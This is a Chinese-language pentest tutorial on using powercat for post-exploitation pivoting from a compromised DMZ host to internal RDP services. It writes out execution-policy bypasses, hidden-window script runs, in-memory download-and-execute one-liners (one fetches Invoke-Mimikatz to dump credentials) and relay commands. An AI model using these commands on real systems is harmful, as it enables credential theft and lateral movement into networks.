實戰中,我們也會遇到需要我們進行端口轉發的情況,比如已經拿下的目標機1是在dmz區,而目標1所在內網的其他目標只能通過目標1去訪問,這時候我們就需要端口轉發或者代理來進行后滲透。這次就要介紹一個加強版的nc,基於powershell的后滲透工具
Powercat
下載地址:Lhttps://github.com/besimorhino/powercat
0x01 powercat准備
首先得改一下ps的執行腳本權限
Set-ExecutionPolicy Bypass
然后直接執行我們的powercat腳本即可。
也可以通過常規三種繞過執行策略的方式執行ps腳本
本地權限繞過
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
本地隱藏權限繞過執行腳本
PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden(隱藏窗口) -File xxx.ps1
用IEX下載遠程PS1腳本回來權限繞過執行
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"
所以,直接選擇最簡單的吧,也別下載了,直接遠程權限繞過,在Powershell 中執行:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
可以看到Powercat已經成功執行了
0x02 使用powercat端口轉發
先來看下參數
不過端口轉發中我們只需要其中幾個參數
命令解析:
-c 指定一個ip地址
-p 指定一個端口
-v 顯示詳情
-l 監聽模式,用於入站鏈接
-p 本地端口號
-e 程序重定向,跟nc一毛一樣
-v 顯示詳情
下面用實際例子來說明每個參數的作用
例子一:
環境: 192.168.190.135 windows2003開放了3389(目標機)
192.168.190.149 windows8 (攻擊機)
將192.168.190.135上的3389服務流量轉發到本地的9001端口,攻擊機用到的命令為:
powercat -c 192.168.190.135 -p 3389 -v -r tcp:9001
然后連接本地的9001端口,可以發現是轉發成功的。
例子二:
環境: 192.168.190.135 windows2003開放了3389(內網目標機)
192.168.190.151 windows8 (外網目標機)(與內網目標機處一個內網)
192.168.190.149 windows8 (攻擊機)
Ps:假設攻擊機拿下了外網目標機的權限,想進一步內網滲透但是不能直接訪問內網目標機的3389服務,只能通過外網目標機訪問內網目標機的3389服務。
外網目標機執行:
powercat -c 192.168.190.135 -p 3389 -v -r tcp:6666
(連接內網目標機的3389端口,將流程轉到自己的6666端口)
攻擊機執行:
powercat -c 192.168.190.151 -p 6666 -v -r tcp:1111
(連接外網目標機的6666端口,把流程轉到本地的1111端口)
可以看到轉發成功。